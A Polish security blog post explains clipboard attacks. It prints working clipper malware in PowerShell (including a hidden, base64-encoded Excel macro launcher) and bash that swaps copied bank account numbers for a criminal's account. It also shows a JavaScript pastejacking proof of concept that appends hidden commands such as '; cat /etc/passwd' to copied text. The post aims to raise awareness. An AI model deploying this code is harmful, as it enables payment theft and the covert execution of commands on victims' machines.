Czy CTRL+C i CTRL+V mogą być groźne?

24 września 2019, Autor: Paweł Maziarz, Kategoria malware, tagi: , ,

CTRL+C i CTRL+V - co może pójść nie tak? Najbardziej oczywisty chyba przykład to następująca sytuacja: kopiujesz numer rachunku z faktury do opłacenia, logujesz się do bankowości internetowej, tworzysz nowy przelew, klikasz w pole numeru rachunku odbiorcy i wklejasz skopiowany wcześniej tekst, potwierdzasz operację SMSem, kodem czy czymkolwiek i wysyłasz przelew - wszystko na automacie bez dbałości o szczegóły - standard. Po jakimś czasie osoba czy firma, do której przelew wykonałeś upomina się o płatność. Okazuje się, że przelew nie poszedł do nich, a… na konto słupa czyli kogoś zupełnie innego. Tak, na Twoim komputerze działało złośliwe oprogramowanie, które sprawdzało czy to co skopiowałeś jest numerem rachunku i jeśli tak, podmieniało to na numer rachunku będący pod kontrolą przestępców.

Czy takie złośliwe oprogramowanie jest trudne do napisania? Nic bardziej mylnego. Zobaczmy przykład dla Windowsa - w Powershellu.

$slup = "12200000001234123400000000"
for (;;) {
    $clip = get-clipboard -format text
    if (($clip -match "^[0-9 -]+$") -and (($clip -replace "[^0-9]","").Length -eq 26)) {
        Set-Clipboard $slup
    }
    start-sleep 1
}

Co się tutaj dzieje? Tworzymy nieskończoną pętlę (for(;;)), następnie pobieramy wartość schowka poprzez Get-Clipboard do zmiennej $clip. Dalej sprawdzamy czy to co skopiowaliśmy zawiera wyłącznie cyfry, spacje oraz myślniki. Jeśli tak, usuwamy wszystkie znaki, które nie są cyframi - jeśli w wyniku tego otrzymyjemy ciąg 26 cyfr, zakładamy, że to numer rachunku i podmieniamy na ten (Set-Clipboard), który wcześniej zdefiniowaliśmy w zmiennej $slup.

Wystarczy teraz tylko dostarczyć taki skrypt ofierze, np. w postaci zakodowanej w base64 wewnątrz makra Excela:

Sub Workbook_Open

    Shell "cmd /c powershell -w h -enc JABzAGwAdQBwACAAPQAgACIANQA3ADEAMQA0ADAAMAAwADAAMAAzADUAOAA2ADQAOAA3ADQAMQAxADUANgA2ADYANAAyACIADQAKAGYAbwByACAAKAA7ADsAKQAgAHsADQAKACAAIAAgACAAJABjAGwAaQBwACAAPQAgAGcAZQB0AC0AYwBsAGkAcABiAG8AYQByAGQAIAAtAGYAbwByAG0AYQB0ACAAdABlAHgAdAANAAoAIAAgACAAIABpAGYAIAAoACgAJABjAGwAaQBwACAALQBtAGEAdABjAGgAIAAiAF4AWwAwAC0AOQAgAC0AXQArACQAIgApACAALQBhAG4AZAAgACgAKAAkAGMAbABpAHAAIAAtAHIAZQBwAGwAYQBjAGUAIAAiAFsAXgAwAC0AOQBdACIALAAiACIAKQAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyADYAKQApACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0AQwBsAGkAcABiAG8AYQByAGQAIAAkAHMAbAB1AHAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgB9AA=="

End Sub

i Zło się zadzieje. Tak, takie to proste - dlatego ważne jest, żebyście poraz kolejny dali znać swoim znajomym, żeby nie zgadzali się na uruchamianie makr.

Użytkownicy Macbooków są pewnie bezpieczni, prawda?

Yyyy, no nie. Zamiast Powershella wystarczy, że na Mac OS X zostanie uruchomiony taki skrypt:

#!/bin/bash

slup="12200000001234123400000000"
while [ True ]; do
    clip=`pbpaste`
    if [[ "$clip" =~ ^[-0-9\ ]+$ ]]; then
        clip=${clip//[^0-9]/}
        if [[ "$clip" =~ ^[0-9]{26}$ ]]; then
            echo -n $slup|pbcopy
        fi
    fi
    sleep 1
done

i będzie on robił dokładnie to samo - co sekundę będzie sprawdzał czy skopiowano numer rachunku i w takim przypadku podmieniał go na konto słupa. Sposobów na zdalne uruchomienie kodu na Macbookach też trochę jest, może kiedyś się nad tym pochylimy..

A Linuxowcy? Oni na pewno nie mają się o co martwić..

W Linuksie dostęp do schowka można uzyskać za pomocą programów xsel oraz xclip. Wersja tego skryptu dla Linux-a, z wykorzystaniem polecenia xsel mogłaby wyglądać np. tak:

#!/bin/bash

slup="12200000001234123400000000"
while [ True ]; do
    clip=`xsel --clipboard -o`
    if [[ "$clip" =~ ^[-0-9\ ]+$ ]]; then
        clip=${clip//[^0-9]/}
        if [[ "$clip" =~ ^[0-9]{26}$ ]]; then
            echo -n $slup|xsel --clipboard -i
        fi
    fi
    sleep 1
done

No ale jak u kogoś uruchomić te skrypty na komputerze? Na pewno zainfekowanie Maca, Linuxa, Unixa czy najnowszego, zaktualizowanego Windowsa nie jest takie łatwe. Na pewno. ;)

Odrobina magii

Jeśli jesteś użytkownikiem Linuxa (lub Mac OS X), skopiuj tekst znajdujący się poniżej w inpucie i wklej go w terminalu. Będzie fun.

Z kolei jeśli użytkownicy Windowsa chcą się również pobawić, odpalcie konsolę Powershella i wklejcie tam to:

Zrobione? To już wyjaśniam dalej o co chodzi.

Czy logicznym jest ufać tekstom skopiowanym w przeglądarce WWW?

Skopiowaliście zawartość wcześniej wspomnianego inputa i wkleiliście w konsoli? Jeśli nie, szczerze zachęcam i obiecuję, że nic złego się nie stanie. A czy mogłoby?

Jakiś czas temu mój kolega po fachu podrzucił ciekawy wektor ataku - oszukanie użytkownika odnośnie tego co naprawdę zaznacza i kopiuje na stronie WWW. Temat wydał mi się na tyle błyskotliwy, że kilka minut później miałem już napisany proof-of-concept, jednak nie wychodziłem z nim szerzej, żeby nie psuć zabawy Borysowi, a raczej jego klientom. Borys ze swoją ekipą zrobili to w bardzo ciekawy sposób wykorzystując style CSS opisujące ukryte elementy HTML, mój PoC wykorzystywał możliwość dostępu JavaScript do schowka.

Jeśli skopiowaliście i wkleiliście gdzieś wcześniej wspomniane inputy, sami pewnie zauważyliście co się wydarzyło. Jeśli tego nie zrobiliście, skopiujcie jeden z inputów zawierający echo czy Write-Host i wklejcie go do Notatnika, vima czy też w miejscu poniżej.

Jeśli wszystko poszło zgodnie z planem, w przypadku pierwszego inputa został skopiowany dodatkowo tekst ; cat /etc/passwd, a w przypadku drugiego ; calc.exe, czyli jeśli faktycznie wykonaliście ćwiczenie w konsoli, unixowcy powinni zobaczyć swój plik /etc/passwd a użytkownikom Windowsa powinien się był uruchomić kalkulator.

Wszystko za sprawą niezwykle prostego skryptu JavaScript:

<script>
document.addEventListener('copy', function(e) {
    if (appendOnCopy = (e.target.getAttribute("appendOnCopy"))) {
        var clipboardData = e.clipboardData || window.clipboardData;
        clipboardData.setData('text', e.target.value + appendOnCopy + "\n"); 
        e.preventDefault();
    }
});
</script>

i inputów z dorzuconymi ode mnie atrybutami o nazwie appendOnCopy:

<input type="text" readonly="readonly" value="echo 'Dzien dobry konsolko Linux/Mac OS X/Unix'" appendOnCopy="; cat /etc/passwd" />

oraz

<input type="text" readonly="readonly" value="Write-Host 'Dzien dobry konsolko Powershella'"/ appendOnCopy="; calc.exe">

Po zaznaczeniu i skopiowaniu dowolnego tekstu z tej strony, wyzwala się zdarzenie przechwytywane przez document.addEventListener('copy', function(e) { ..., w którym następnie sprawdzane jest czy element, z którego pochodzą kopiowane dane zawiera atrybut appendOnCopy - jeśli tak, zawartość tego atrybutu dołączona jest do schowka.

W konsekwencji, użytkownik myśląc, że skopiował fajnego one-linera, tak naprawdę kopiuje one-linera z niespodzianką. Oczywiście docelowo zamiast wyświetlać plik /etc/passwd czy uruchamiać kalkulator, niespodzianka może uruchamiać innego one-linera zawierającego jakiś złośliwy payload.

W przypadku wielolinijkowych tekstów (np. kody źródłowe) jeszcze łatwiej przestępcom byłoby ukryć jakiś złośliwy kod.

Fajne? ;-) Pod adresem aptm.in/evilpaste znajduje się bardzo prosty proof-of-concept, którym możecie podzielić się ze znajomymi, żeby ich trochę uczulić.

Żeby atak tego typu przeprowadzić, który w konsekwencji może prowadzić do uruchamiania złośliwego oprogramowania na komputerach nawet technicznych, świadomych ludzi wystarczy być w stanie przemycić kawałek kodu JavaScript i spowodować, by ktoś przekopiował tekst z danej strony WWW do konsoli. Może to brzmi wydumanie i nierealnie, ale zastanówcie się nad takimi trzema scenariuszami:

  1. w Internecie pojawia się techniczny blog, który idealnie pasuje do tematyki, w której obracają się inżynierowie Twojej firmy,
  2. no poczytnym, technicznym blogu cyberprzestępcy identyfikują podatność typu Stored XSS lub uzyskują dostęp do konta jednego z redaktorów,
  3. cyberprzestępcy uzyskują dostęp do CDN-a serwującego popularne biblioteki JavaScript, np. JQuery, która wykorzystywana jest między innymi w serwisie stackoverflow.

Red team vs Blue team

Red team
  • Wykorzystujcie ten wektor ataku, bo działa naprawdę świetnie, a przy okazji nauczycie ludzi zachować większą ostrożność
Blue team
  • Uważajcie skąd pochodzą dane wklejane do konsoli czy innych edytorów
  • Podeślijcie link do tego artykułu (aptm.in/evilclip) lub do aptm.in/evilpaste znajomym, by ich uczulić na tego typu akcje

* * *